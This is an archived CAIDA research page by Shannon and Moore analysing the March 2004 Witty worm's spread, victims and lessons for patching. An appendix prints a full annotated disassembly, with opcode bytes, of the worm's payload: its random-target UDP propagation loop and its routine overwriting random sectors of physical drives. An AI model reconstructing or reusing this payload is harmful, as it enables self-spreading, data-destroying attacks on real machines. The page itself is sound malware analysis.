The contents of this legacy page are no longer maintained nor supported, and are made available only for historical purposes.

The Spread of the Witty Worm

An analysis by Colleen Shannon and David Moore of the spread of the Witty Internet Worm in March 2004. The network telescope and associated security efforts are a joint project of the UCSD Computer Science and Engineering Department and the Cooperative Association for Internet Data Analysis. For more information contact info@caida.org

We would like to thank Brian Kantor, Jim Madden, and Pat Wilson of UCSD for technical support of the Network Telescope project; Mike Gannis, Nicholas Weaver, Wendy Garvin, Team Cymru, and Stefan Savage for feedback on this document; and the Cisco PSIRT Team, Wendy Garvin, Team Cymru, Nicholas Weaver, and Vern Paxson for discussion as events unfolded. Support for this work was provided by Cisco Systems, NSF, DARPA, DHS, and CAIDA members.

Cooperative Association for Internet Data Analysis UCSD Computer Science Department University of California at San Diego San Diego Supercomputer Center Cisco Systems National Science Foundation Defense Advanced Research Projects Agency U.S. Department of Homeland Security

Introduction

On Friday March 19, 2004 at approximately 8:45pm PST, an Internet worm began to spread, targeting a buffer overflow vulnerability in several Internet Security Systems (ISS) products, including ISS RealSecure Network, RealSecure Server Sensor, RealSecure Desktop, and BlackICE. The worm takes advantage of a security flaw in these firewall applications that was discovered earlier this month by eEye Digital Security. Once the Witty worm infects a computer, it deletes a randomly chosen section of the hard drive, over time rendering the machine unusable. The worm's payload contained the phrase "(^.^) insert witty message here (^.^)" so it came to be known as the Witty worm.

While the Witty worm is only the latest in a string of self-propagating remote exploits, it distinguishes itself through several interesting features:

  • Witty was the first widely propagated Internet worm to carry a destructive payload.
  • Witty was started in an organized manner with an order of magnitude more ground-zero hosts than any previous worm.
  • Witty represents the shortest known interval between vulnerability disclosure and worm release -- it began to spread the day after the ISS vulnerability was publicized.
  • Witty spread through a host population in which every compromised host was doing something proactive to secure their computers and networks.
  • Witty spread through a population almost an order of magnitude smaller than that of previous worms, demonstrating the viability of worms as an automated mechanism to rapidly compromise machines on the Internet, even in niches without a software monopoly.

In this document we share a global view of the spread of the Witty worm, with particular attention to these worrisome features.

Background

Network Telescope

The UCSD Network Telescope consists of a large piece of globally announced IPv4 address space. The telescope contains almost no legitimate hosts, so inbound traffic to nonexistent machines is always anomalous in some way. Because the network telescope contains approximately 1/256th of all IPv4 addresses, we receive roughly one out of every 256 packets sent by an Internet worm with an unbiased random number generator. Because we are uniquely situated to receive traffic from every worm-infected host, we provide a global view of the spread of Internet worms.

ISS Vulnerability

A number of Internet Security Systems firewall products contained a Protocol Analysis Module (PAM) to monitor application traffic. The PAM routine in version 3.6.16 of iss-pam1.dll that analyzes ICQ server traffic assumes that incoming packets on port 4000 are ICQv5 server responses and this code contains a series of buffer overflow vulnerabilities. The vulnerability was discovered by eEye on March 8, 2004 and announced by both eEye and on March 18, 2004. ISS released an alert warning users of a possibly exploitable security hole and provided updated software versions that were not vulnerable to the buffer overflow attack.

Witty Worm Details

Once Witty infects a host, the host sends 20,000 packets by generating packets with a random destination IP address, a random size between 796 and 1307 bytes, and a destination port. The worm payload of 637 bytes is padded with data from system memory to fill this random size and a packet is sent out from source port 4000. After sending 20,000 packets, Witty seeks to a random point on the hard disk, writes 65k of data from the beginning of iss-pam1.dll to the disk. After closing the disk, the worm repeats this process until the machine is rebooted or until the worm permanently crashes the machine.

Witty Worm Spread

With previous Internet worms, including Code-Red, Nimda, and SQL Slammer, a few hosts were seeded with the worm and proceeded to spread it to the rest of the vulnerable population. The spread was slow early on and then accelerates dramatically as the number of infected machines spewing worm packets to the rest of the Internet rises. Eventually as the victim population becomes saturated, the spread of the worm slows because there are few vulnerable machines left to compromise. Plotted on a graph, this worm growth appears as an S-shaped exponential growth curve called a sigmoid.

At 8:45:18pm[4] PST on March 19, 2004, the network telescope received its first Witty worm packet. In contrast to previous worms, we observed 110 hosts infected in the first ten seconds, and 160 at the end of 30 seconds. The chances of a single instance of the worm infecting 110 machines so quickly are vanishingly small -- worse than 10-607. This rapid onset indicates that the worm used either a hitlist or previously compromised vulnerable hosts to start the worm. In Figure 1 below, the initial vertical line shows preselected hosts coming online, and then a transition to much slower growth thereafter.

the beginning of the witty infection
Figure 1: Like many biological pathogens, Internet worms typically spread exponentially until their growth levels off. After the first minute, Witty followed this expected sigmoid curve. But within the first 30 seconds, between 100 and 160 computers were simultaneously activated, indicating either the use of a preprogrammed hitlist or a timed release of the worm on previously hacked machines.

After the sharp rise in initial coordinated activity, the Witty worm followed a normal exponential growth curve for a pathogen spreading in a fixed population. Witty reached its peak after approximately 45 minutes, at which point the majority of vulnerable hosts had been infected. After that time, the churn caused by dynamic addressing causes the IP address count to inflate without any additional Witty infections. At the peak of the infection, Witty hosts flooded the Internet with more than 90Gbits/second of traffic (more than 11 million packets per second).

Witty infected only about a tenth as many hosts than the next smallest widespread Internet worm. Where SQL Slammer infected between 75,000 and 100,000 computers, the vulnerable population of the Witty worm was only about 12,000 computers. Although researchers [1][2][3] have long predicted that a fast-probing worm could infect a small population very quickly, Witty is the first worm to demonstrate this capability. While Witty took 30 minutes longer than SQL Slammer to infect its vulnerable population, both worms spread far faster than human intervention could stop them. In the past, users of software that is not ubiquitously deployed have considered themselves relatively safe from most network-based pathogens. Witty demonstrates that a remotely accessible bug in any minimally popular piece of software can be successfully exploited by an automated attack.

Witty's destructive payload, in combination with efforts to filter Witty traffic and patch infected machines, led to rapid decay in the number of infected hosts. 12 hours after the worm began to spread, half of the Witty hosts were already inactive.

the first two hours of the witty worm spread the progression of the witty infection over time
Figure 2: The exponential spread of the Witty worm. The number of active machines in five minutes (green line) stabilized after 45 minutes, indicating that almost all of the vulnerable machines had been compromised. After that point, dynamic addressing (e.g. DHCP) caused the cumulative IP address total (the red line) to continue to rise. We estimate the total number of hosts infected by the Witty worm to be 12,000 hosts at most. Figure 3: The number of unique hosts infected with the Witty worm over time. Infected Witty hosts were deactivated much more quickly than with previous worms. Although prompt network filtering and active cleanup of compromised hosts played an important role, we believe that the rapid decay in the number of hosts actively spreading Witty was primarily due to the destructive payload crashing infected machines.

Witty Worm Victims

The vulnerable host population pool for the Witty worm was quite different from that of previous virulent worms. Previous worms have lagged several weeks behind publication of details about the remote-exploit bug, and large portions of the victim populations appeared to not know what software was running on their machines, let alone take steps to make sure that software was up to date with security patches. In contrast, the Witty worm infected a population of hosts that were proactive about security -- they were running firewall software. The Witty worm also started to spread the day after information about the exploit and the software upgrades to fix the bug were available.

Like SQL Slammer, the Witty worm was bandwidth limited -- each infected host sent packets as fast as its Internet connection could transmit them. As shown in Figure 4 below, Witty infected a relatively well-connected pool of hosts. 61% of infected hosts transmitted at speeds between 96kbps (11.2pps) and 512kbps (60pps). The average speed of an infected host was 3Mbps (357pps), although during the peak of the worm's spread, the average speed reached 8Mbps (970pps). We also observed 38 machines transmitting Witty packets at rates over 80Mbps continuously for more than an hour.

Some of the most rapidly transmitting IP addresses may actually be a larger collection of hosts behind a Network Address Translation (NAT) device of some kind. By infecting firewall devices, Witty proved particularly adept at thwarting security measures and successfully infecting hosts on internal networks. We also observed more than 300 hosts in the first few hours transmitting Witty from source ports other than 4000. Since the defining characteristic for successful Witty infection is a source port 4000 packet, presumably these machines are NAT boxes rewriting the source port of packets originating at downstream infected hosts. 67 of those NAT boxes also sent Witty packets with the correct source port 4000, so while some NATs may artificially inflate the transmission speeds of a single infected host, others may artificially deflate them by spreading traffic across other ports.

the scanning rate of witty hosts
Figure 4: The scanning rate in packets-per-second of hosts infected by the Witty worm. The connection bandwidths that correspond to the packet rates are marked along the top of the graph. 53% of infected hosts had connection speeds between 128kbps (15pps) and 512kbps (60pps). The maximum packet rate observed from one host was 23,500 pps sustained for at least one hour.

Witty worm hosts showed a wide range of infection durations. A large number of factors influence our measurements of infection duration.

  • Dynamic addressing significantly affects the amount of time an IP address remains active. As with the SQL Slammer worm, the flood of packets from an infected host can reset its upstream connection (particularly with dialup hosts), causing the host to disconnect and reconnect from a different IP address.
  • Similarly, end users may also be unaware that perceived slowness of their computer or Internet connection is caused by a worm, and they may reboot their computers in the hope that that will fix the problem. If the random disk writes have not damaged anything critical to the boot process, each host may receive a different dynamic address. For these dynamically addressed hosts, the duration we see reflects the duration for which each host maintained its DHCP lease, rather than the true duration of infection on that host.
  • Traffic filtering also artificially limits our view of a host's infection duration, but at least in this case we accurately record the duration for which the victim spread the worm to other vulnerable hosts.
  • Witty carried a destructive payload that would eventually crash the infected machine. Thus even without a dynamic address or any human intervention, Witty would eventually (and often permanently) deactivate each infected host.

the duration of infection for witty hosts
Figure 5: The infection duration for Witty hosts. Unlike previously widespread Internet worms, the infection duration for Witty hosts was curtailed by the worm payload's malicious disk writes which crashed infected computers. In-network filtering and active host cleanup also played important roles in limiting the spread of the Witty worm.

Because US-based ISS is a much smaller company than Microsoft with less extensive overseas operations, the majority of Witty worm infections occurred in the US. Figures 6 and 7 show the number of infected hosts in the top six countries and by geographic region over the first 2.5 days of Witty spread. Figure 7 shows clear diurnal effects, with hundreds of additional vulnerable hosts becoming active on Saturday morning local time (presumably as the computers are powered on and connected to the Internet). This cycle continues Sunday and Monday mornings, although fewer and fewer vulnerable machines remain uninfected over time.

CountryPercent
United States26.28
United Kingdom7.27
Canada3.46
China3.36
France2.94
Japan2.17
Australia1.83
Germany1.82
Netherlands1.36
Korea1.21
Table 1: Witty victim geographic distribution by country.
TLDPercent
net33
com20
NO-DNS15
fr3
ca2
jp2
au2
edu1
nl1
ar1
Table 2: Witty victim distribution by Top Level Domain (TLD). TLD distribution is strongly influenced by dynamic host addressing.
the witty infection broken down by countries witty diurnal cycles around the world
Figure 6: The top six countries affected by the Witty worm. After the initial infection, additional hosts came online every morning (local time) in a diurnal cycle, shown also in Figure 7. Figure 7: The diurnal cycles of the Witty worm. Countries in each temporal region (especially the hard-hit North American and European locales) show similar patterns of machines coming online in the morning, transmitting during the day, and shutting down in the evening.

Conclusions

The Witty worm incorporates a number of dangerous characteristics. It is the first widely spreading Internet worm to actively damage infected machines. It was started from a large set of machines simultaneously, indicating the use of a hit list or a large number of compromised machines. Witty demonstrated that any minimally deployed piece of software with a remotely exploitable bug can be a vector for wide-scale compromise of host machines without any action on the part of a victim. The practical implications of this are staggering; with minimal skill, a malevolent individual could break into thousands of machines and use them for almost any purpose with little evidence of the perpetrator left on most of the compromised hosts.

While many of these Witty features are novel in a high-profile worm, the same virulence combined with greater potential for host damage has been a feature of bot networks (botnets) for years. Any vulnerability or backdoor that can be exploited by a worm can also be exploited by a vastly stealthier botnet. While all of the worms seen thus far have carried a single payload, bot functionality can be easily changed over time. Thus while worms are a serious threat to Internet users, the capabilities and stealth of botnets make them a more sinister menace. The line separating worms from bot software is already blurry; over time we can expect to see increasing stealth and flexibility in Internet worms.

Witty was the first widespread Internet worm to attack a security product. While technically the use of a buffer overflow exploit is commonplace, the fact that all victims were compromised via their firewall software the day after a vulnerability in that software was publicized indicates that the security model in which end-users apply patches to plug security holes is not viable.

It is both impractical and unwise to expect every individual with a computer connected to the Internet to be a security expert. Yet the current mechanism for dealing with security holes expects an end user to constantly monitor security alert websites to learn about security flaws and then to immediately download and install patches. The installation of patches is often difficult, involving a series of complex steps that must be applied in precise order.

The patch model for Internet security has failed spectacularly. To remedy this, there have been a number of suggestions for ways to try to shoehorn end users into becoming security experts, including making them financially liable for the consequences of their computers being hijacked by malware or miscreants. Notwithstanding the fundamental inequities involved in encouraging people sign on to the Internet with a single click, and then requiring them to fix flaws in software marketed to them as secure with technical skills they do not possess, many users do choose to protect themselves at their own expense by purchasing antivirus and firewall software. Making this choice is the gold-standard for end user behavior -- they recognize both that security is important and that they do not possess the skills necessary to effect it themselves. When users participating in the best security practice that can be reasonably expected get infected with a virulent and damaging worm, we need to reconsider the notion that end user behavior can solve or even effectively mitigate the malicious software problem and turn our attention toward both preventing software vulnerabilities in the first place and developing large-scale, robust and reliable infrastructure that can mitigate current security problems without relying on end user intervention.

Animations

We have available animations of the spread of the Witty worm both throughout the world and within the United States. In each animation, a circle represents each site with one or more Witty-infected hosts. The diameter of the circle is logarithmically scaled according to the number of infected computers at that site. Locations infected within the first 60 seconds are shown in red, while locations infected after the first 60 seconds are shown in yellow. Note that red circles may continue to increase in size as additional computers at those locations are compromised later. The latitude and longitude of each infected computer were identified using Digital Envoy's Netacuity tool.

World: Small (526x357) Large (1046x710)
USA: Small (526x357) Large (1046x710)

References

[1] David Moore, Vern Paxson, Stefan Savage, Colleen Shannon, Stuart Staniford, and Nicholas Weaver, Inside the Slammer Worm, IEEE Security and Privacy, vol. Aug 2003, Aug 2003.

[2] Stuart Staniford, Vern Paxson, and Nicholas Weaver, How to 0wn the Internet in Your Spare Time, Proceedings of the 11th USENIX Security Symposium (Security '02).

[3] David Moore, Colleen Shannon, Geoffrey Voelker and Stefan Savage, Internet Quarantine: Requirements for Containing Self-Propagating Code, Proceedings of the 2003 IEEE Infocom Conference, San Francisco, CA, April 2003.

[4] Fri Mar 26 14:18:45 PST 2004 - a time synchronization glitch caused us to artifically view the beginning of the Witty worm spread as occurring 18 seconds later than it did. In light of this development, we have updated our time for the initiation of the Witty worm spread.

More Information

About the Authors:

The network telescope and associated security efforts are a joint project of the UCSD Computer Science and Engineering Department and the Cooperative Association for Internet Data Analysis. Colleen Shannon is a Senior Security Researcher at the Cooperative Association for Internet Data Analysis (CAIDA) at the San Diego Supercomputer Center (SDSC) at the University of California, San Diego (UCSD). David Moore is the Assistant Director of CAIDA and Ph.D. Candidate in the UCSD Computer Science Department.

This work was sponsored by:

Cooperative Association for Internet Data Analysis UCSD Computer Science Department University of California at San Diego San Diego Supercomputer Center Cisco Systems National Science Foundation Defense Advanced Research Projects Agency U.S. Department of Homeland Security
Grants from
Cisco Systems, the National Science Foundation (NSF), the Defense Advanced Research Projects Agency (DARPA), the Department of Homeland Security (DHS), and CAIDA members.


Additional Content

/archive/witty/blackiceworm/

IDA - C:\Documents and Settings\Administrateur\Mes documents\ICQ.idb (ICQ)
; Disassembly by Kostya Kortchinsky
;
;
; +-------------------------------------------------------------------------+
;      This file is generated by The Interactive Disassembler (IDA)        
;      Copyright (c) 2004 by DataRescue sa/nv, <ida@datarescue.com>        
;    Licensed to: Kostya Kortchinsky, GIP Renater, 1 user, std, 11/2003    
; +-------------------------------------------------------------------------+
;
seg000:000000D1                   ; ---------------------------------------------------------------------------
seg000:000000D1
seg000:000000D1                   loc_D1:                                 ; CODE XREF: seg000:000002ABj
seg000:000000D1 89 E7                             mov     edi, esp
seg000:000000D3 8B 7F 14                          mov     edi, [edi+14h]
seg000:000000D6 83 C7 08                          add     edi, 8
seg000:000000D9 81 C4 E8 FD FF FF                 add     esp, 0FFFFFDE8h
seg000:000000DF 31 C9                             xor     ecx, ecx
seg000:000000E1 66 B9 33 32                       mov     cx, 3233h       ; 32
seg000:000000E5 51                                push    ecx
seg000:000000E6 68 77 73 32 5F                    push    5F327377h       ; ws2_
seg000:000000EB 54                                push    esp
seg000:000000EC                                   db      3Eh
seg000:000000EC 3E FF 15 9C 40 0D+                call    dword ptr ds:5E0D409Ch ; Probably LoadLibrary
seg000:000000F3 89 C3                             mov     ebx, eax
seg000:000000F5 31 C9                             xor     ecx, ecx
seg000:000000F7 66 B9 65 74                       mov     cx, 7465h       ; et
seg000:000000FB 51                                push    ecx
seg000:000000FC 68 73 6F 63 6B                    push    6B636F73h       ; sock
seg000:00000101 54                                push    esp
seg000:00000102 53                                push    ebx
seg000:00000103                                   db      3Eh
seg000:00000103 3E FF 15 98 40 0D+                call    dword ptr ds:5E0D4098h ; Probably GetProcAddress
seg000:0000010A 6A 11                             push    11h             ; IPPROTO_UDP
seg000:0000010C 6A 02                             push    2               ; SOCK_DGRAM
seg000:0000010E 6A 02                             push    2               ; AF_INET
seg000:00000110 FF D0                             call    eax             ; socket()
seg000:00000112 89 C6                             mov     esi, eax
seg000:00000114 31 C9                             xor     ecx, ecx
seg000:00000116 51                                push    ecx
seg000:00000117 68 62 69 6E 64                    push    646E6962h       ; bind
seg000:0000011C 54                                push    esp
seg000:0000011D 53                                push    ebx
seg000:0000011E                                   db      3Eh
seg000:0000011E 3E FF 15 98 40 0D+                call    dword ptr ds:5E0D4098h ; Probably GetProcAddress
seg000:00000125 31 C9                             xor     ecx, ecx
seg000:00000127 51                                push    ecx
seg000:00000128 51                                push    ecx
seg000:00000129 51                                push    ecx             ; sin.sin_addr.s_addr = INADDR_ANY
seg000:0000012A 81 E9 FE FF F0 5F                 sub     ecx, 5FF0FFFEh  ; 0xa00f0002
seg000:00000130 51                                push    ecx             ; sin.sin_family = AF_INET
seg000:00000130                                                           ; sin.sin_port = htons(4000)
seg000:00000131 89 E1                             mov     ecx, esp
seg000:00000133 6A 10                             push    10h             ; sizeof(struct sockaddr)
seg000:00000135 51                                push    ecx             ; &sin
seg000:00000136 56                                push    esi             ; s
seg000:00000137 FF D0                             call    eax             ; bind()
seg000:00000139 31 C9                             xor     ecx, ecx
seg000:0000013B 66 B9 74 6F                       mov     cx, 6F74h       ; to
seg000:0000013F 51                                push    ecx
seg000:00000140 68 73 65 6E 64                    push    646E6573h       ; send
seg000:00000145 54                                push    esp
seg000:00000146 53                                push    ebx
seg000:00000147                                   db      3Eh
seg000:00000147 3E FF 15 98 40 0D+                call    dword ptr ds:5E0D4098h ; Probably GetProcAddress
seg000:0000014E 89 C3                             mov     ebx, eax
seg000:00000150 83 C4 3C                          add     esp, 3Ch
seg000:00000153
seg000:00000153                   loc_153:                                ; CODE XREF: seg000:000002A2j
seg000:00000153 31 C9                             xor     ecx, ecx
seg000:00000155 51                                push    ecx
seg000:00000156 68 65 6C 33 32                    push    32336C65h       ; el32
seg000:0000015B 68 6B 65 72 6E                    push    6E72656Bh       ; kern
seg000:00000160 54                                push    esp
seg000:00000161                                   db      3Eh
seg000:00000161 3E FF 15 9C 40 0D+                call    dword ptr ds:5E0D409Ch ; Probably LoadLibrary
seg000:00000168 31 C9                             xor     ecx, ecx
seg000:0000016A 51                                push    ecx
seg000:0000016B 68 6F 75 6E 74                    push    746E756Fh       ; ount
seg000:00000170 68 69 63 6B 43                    push    436B6369h       ; ickC
seg000:00000175 68 47 65 74 54                    push    54746547h       ; GetT
seg000:0000017A 54                                push    esp
seg000:0000017B 50                                push    eax
seg000:0000017C                                   db      3Eh
seg000:0000017C 3E FF 15 98 40 0D+                call    dword ptr ds:5E0D4098h ; Probably GetProcAddress
seg000:00000183 FF D0                             call    eax             ; GetTickCount()
seg000:00000185 89 C5                             mov     ebp, eax
seg000:00000187 83 C4 1C                          add     esp, 1Ch
seg000:0000018A 31 C9                             xor     ecx, ecx
seg000:0000018C 81 E9 E0 B1 FF FF                 sub     ecx, 0FFFFB1E0h ; 0x4e20
seg000:00000192
seg000:00000192                   loc_192:                                ; CODE XREF: seg000:000001F8j
seg000:00000192                                                           ; seg000:00000255j
seg000:00000192 51                                push    ecx
seg000:00000193 31 C0                             xor     eax, eax
seg000:00000195 2D 03 BC FC FF                    sub     eax, 0FFFCBC03h ; 0x343fd
seg000:0000019A F7 E5                             mul     ebp
seg000:0000019C 2D 3D 61 D9 FF                    sub     eax, 0FFD9613Dh ; 0x269ec3
seg000:000001A1 89 C1                             mov     ecx, eax        ; rand() function, without the 0x7fff mask, shift coming afterwards
seg000:000001A1                                                           ; srand() done with GetTickCount()
seg000:000001A3 31 C0                             xor     eax, eax
seg000:000001A5 2D 03 BC FC FF                    sub     eax, 0FFFCBC03h
seg000:000001AA F7 E1                             mul     ecx
seg000:000001AC 2D 3D 61 D9 FF                    sub     eax, 0FFD9613Dh
seg000:000001B1 89 C5                             mov     ebp, eax
seg000:000001B3 31 D2                             xor     edx, edx
seg000:000001B5 52                                push    edx
seg000:000001B6 52                                push    edx
seg000:000001B7 C1 E9 10                          shr     ecx, 10h
seg000:000001BA 66 89 C8                          mov     ax, cx
seg000:000001BD 50                                push    eax             ; to.sin_addr.s_addr = (rand() << 16) | rand()
seg000:000001BE 31 C0                             xor     eax, eax
seg000:000001C0 2D 03 BC FC FF                    sub     eax, 0FFFCBC03h
seg000:000001C5 F7 E5                             mul     ebp
seg000:000001C7 2D 3D 61 D9 FF                    sub     eax, 0FFD9613Dh
seg000:000001CC 89 C5                             mov     ebp, eax
seg000:000001CE 30 E4                             xor     ah, ah
seg000:000001D0 B0 02                             mov     al, 2
seg000:000001D2 50                                push    eax             ; to.sin_family = AF_INET
seg000:000001D2                                                           ; to.sin_port = rand()
seg000:000001D3 89 E0                             mov     eax, esp
seg000:000001D5 6A 10                             push    10h             ; sizeof(struct sockaddr)
seg000:000001D7 50                                push    eax             ; &to
seg000:000001D8 31 C0                             xor     eax, eax
seg000:000001DA 50                                push    eax             ; flags
seg000:000001DB 2D 03 BC FC FF                    sub     eax, 0FFFCBC03h
seg000:000001E0 F7 E5                             mul     ebp
seg000:000001E2 2D 3D 61 D9 FF                    sub     eax, 0FFD9613Dh
seg000:000001E7 89 C5                             mov     ebp, eax
seg000:000001E9 C1 E8 17                          shr     eax, 17h
seg000:000001EC 80 C4 03                          add     ah, 3
seg000:000001EF 50                                push    eax             ; len = 0x300 + (rand() >> 7)
seg000:000001F0 57                                push    edi             ; buf
seg000:000001F1 56                                push    esi             ; s
seg000:000001F2 FF D3                             call    ebx             ; sendto()
seg000:000001F4 83 C4 10                          add     esp, 10h
seg000:000001F7 59                                pop     ecx
seg000:000001F8 E2 98                             loop    loc_192
seg000:000001FA 31 C0                             xor     eax, eax
seg000:000001FC 2D 03 BC FC FF                    sub     eax, 0FFFCBC03h
seg000:00000201 F7 E5                             mul     ebp
seg000:00000203 2D 3D 61 D9 FF                    sub     eax, 0FFD9613Dh
seg000:00000208 89 C5                             mov     ebp, eax
seg000:0000020A C1 E8 10                          shr     eax, 10h
seg000:0000020D 80 E4 07                          and     ah, 7
seg000:00000210 80 CC 30                          or      ah, 30h         ; 0x30 | (rand() & 7)
seg000:00000213 B0 45                             mov     al, 45h ; 'E'   ; E
seg000:00000215 50                                push    eax
seg000:00000216 68 44 52 49 56                    push    56495244h       ; DRIV
seg000:0000021B 68 49 43 41 4C                    push    4C414349h       ; ICAL
seg000:00000220 68 50 48 59 53                    push    53594850h       ; PHYS
seg000:00000225 68 5C 5C 2E 5C                    push    5C2E5C5Ch       ; \\.\
seg000:00000225                                                           ; we get here \\.\PHYSICALDRIVE0 to \\.\PHYSICALDRIVE7
seg000:0000022A 89 E0                             mov     eax, esp
seg000:0000022C 31 C9                             xor     ecx, ecx
seg000:0000022E 51                                push    ecx             ; NULL
seg000:0000022F B2 20                             mov     dl, 20h ; ' '
seg000:00000231 C1 E2 18                          shl     edx, 18h
seg000:00000234 52                                push    edx             ; FILE_FLAG_NO_BUFFERING (0x20000000)
seg000:00000235 6A 03                             push    3               ; OPEN_EXISTING
seg000:00000237 51                                push    ecx             ; NULL
seg000:00000238 6A 03                             push    3               ; FILE_SHARE_READ | FILE_SHARE_WRITE
seg000:0000023A D1 E2                             shl     edx, 1
seg000:0000023C 52                                push    edx             ; GENERIC_WRITE (0x40000000)
seg000:0000023D 50                                push    eax             ; lpFileName
seg000:0000023E                                   db      3Eh
seg000:0000023E 3E FF 15 DC 40 0D+                call    dword ptr ds:5E0D40DCh ; Probably CreateFile
seg000:00000245 83 C4 14                          add     esp, 14h
seg000:00000248 31 C9                             xor     ecx, ecx
seg000:0000024A 81 E9 E0 B1 FF FF                 sub     ecx, 0FFFFB1E0h ; 0x4e20
seg000:00000250 3D FF FF FF FF                    cmp     eax, 0FFFFFFFFh
seg000:00000255 0F 84 37 FF FF FF                 jz      loc_192
seg000:0000025B 56                                push    esi             ; (saving socket)
seg000:0000025C 89 C6                             mov     esi, eax
seg000:0000025E 31 C0                             xor     eax, eax
seg000:00000260 50                                push    eax             ; FILE_BEGIN
seg000:00000261 50                                push    eax             ; NULL
seg000:00000262 2D 03 BC FC FF                    sub     eax, 0FFFCBC03h
seg000:00000267 F7 E5                             mul     ebp
seg000:00000269 2D 3D 61 D9 FF                    sub     eax, 0FFD9613Dh
seg000:0000026E 89 C5                             mov     ebp, eax
seg000:00000270 D1 E8                             shr     eax, 1
seg000:00000272 66 89 C8                          mov     ax, cx
seg000:00000275 50                                push    eax             ; (rand() << 15) | 0x4e20
seg000:00000276 56                                push    esi             ; hFile
seg000:00000277                                   db      3Eh
seg000:00000277 3E FF 15 C4 40 0D+                call    dword ptr ds:5E0D40C4h ; Probably SetFilePointer
seg000:00000277 5E                                                        ; (really not sure about this one)
seg000:0000027E 31 C9                             xor     ecx, ecx
seg000:00000280 51                                push    ecx             ; 0
seg000:00000281 89 E2                             mov     edx, esp
seg000:00000283 51                                push    ecx             ; NULL
seg000:00000284 52                                push    edx             ; lpNumberOfBytesWritten
seg000:00000285 B5 80                             mov     ch, 80h ; 'C'
seg000:00000287 D1 E1                             shl     ecx, 1
seg000:00000289 51                                push    ecx             ; nNumberOfBytesToWrite (0x10000)
seg000:0000028A B1 5E                             mov     cl, 5Eh ; '^'
seg000:0000028C C1 E1 18                          shl     ecx, 18h
seg000:0000028F 51                                push    ecx             ; lpBuffer (0x5e000000)
seg000:00000290 56                                push    esi             ; hFile
seg000:00000291                                   db      3Eh
seg000:00000291 3E FF 15 94 40 0D+                call    dword ptr ds:5E0D4094h ; Probably WriteFile
seg000:00000298 56                                push    esi             ; hObject
seg000:00000299                                   db      3Eh
seg000:00000299 3E FF 15 38 40 0D+                call    dword ptr ds:5E0D4038h ; Probably CloseHandle
seg000:000002A0 5E                                pop     esi
seg000:000002A1 5E                                pop     esi             ; (restoring socket)
seg000:000002A2 E9 AC FE FF FF                    jmp     loc_153
seg000:000002A2                   ; ---------------------------------------------------------------------------
seg000:000002A7 63 76 07 5E                       dd 5E077663h
seg000:000002AB                   ; ---------------------------------------------------------------------------
seg000:000002AB E9 21 FE FF FF                    jmp     loc_D1
seg000:000002AB                   ; ---------------------------------------------------------------------------

Published